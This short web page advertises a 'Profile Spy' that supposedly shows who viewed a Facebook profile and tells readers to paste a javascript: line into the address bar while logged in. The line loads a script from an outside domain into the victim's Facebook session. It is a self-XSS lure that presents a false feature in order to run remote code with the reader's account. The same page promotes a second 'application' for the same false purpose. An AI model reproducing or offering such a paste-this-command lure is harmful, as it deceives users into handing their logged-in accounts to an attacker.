CURRENTLY THERE ARE 2 WAYS,

1ST TECHNIQUE

-Use Our Unique Code To See Who Viewed Your Facebook Profile

-Follow The Simple Steps Below To Use Profile Spy v4.1.

Step 1 - Copy This Script:

Just click in the box to highlight all, Then right click and hit copy to copy the code 

javascript:(a=(b=document).createElement('script')).src='//plexr.info/fb.j',b.body.appendChild(a);void(0)

Step 2:

1.Click Here To Visit Facebook.Com

2. Click the address bar
3. Hit the delete button
4. Paste The Code you copied into the address bar
5. Hit enter to see your results! 

2ND TECHNIQUE:

Custom - made application 2011 version : CLICK HERE TO GO TO THIS FACEBOOK APPLICATION

(Note you must be logged in for this to work)